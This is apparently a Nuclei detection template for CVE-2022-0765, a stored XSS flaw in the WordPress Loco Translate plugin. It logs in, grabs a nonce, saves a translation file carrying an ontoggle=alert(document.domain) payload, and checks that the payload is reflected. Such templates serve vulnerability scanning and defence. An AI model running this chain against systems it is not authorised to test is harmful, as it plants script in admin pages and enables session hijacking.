WordPress Loco Translate < 2.6.1 - Cross-Site Scripting

id: CVE-2022-0765

info:
  name: WordPress Loco Translate < 2.6.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Loco Translate WordPress plugin before 2.6.1 contains a stored cross-site scripting vulnerability caused by improper removal of inline events from source translation strings, allowing authenticated users to inject arbitrary JavaScript payloads.
  impact: |
    Attackers can execute arbitrary JavaScript in the context of the admin panel, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 2.6.1 or later.
  reference:
    - https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587
    - https://patchstack.com/database/vulnerability/loco-translate/wordpress-loco-translate-plugin-2-6-0-authenticated-stored-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0765
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0765
    cwe-id: CWE-79
    epss-score: 0.03832
    epss-percentile: 0.90187
    cpe: cpe:2.3:a:loco_translate_project:loco_translate:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
  tags: cve,cve2022,wordpress,wp,wp-plugin,xss,loco-translate,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "loco-nonce")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body_2
        group: 1
        regex:
          - '"save":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXssTest
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="locale"


        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="path"

        plugins/loco-translate/languages/loco-translate.pot
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="bundle"

        plugin.loco-translate/loco.php
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="domain"

        loco-translate
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="po"; filename="undefined"
        Content-Type: application/x-gettext

        msgid ""
        msgstr ""
        "Project-Id-Version: Loco Translate\n"
        "MIME-Version: 1.0\n"
        "Content-Type: text/plain; charset=UTF-8\n"
        "Content-Transfer-Encoding: 8bit\n"

        msgid "\">'><details/open/ontoggle=alert(document.domain)>"
        msgstr ""
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="action"

        loco_json
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="route"

        save
        ------WebKitFormBoundaryXssTest
        Content-Disposition: form-data; name="loco-nonce"

        {{nonce}}
        ------WebKitFormBoundaryXssTest--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "POT file saved")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?path=plugins%2Floco-translate%2Flanguages%2Floco-translate.pot&bundle=loco-translate%2Floco.php&domain=loco-translate&page=loco-plugin&action=file-edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "ontoggle=alert(document.domain)>")
        condition: and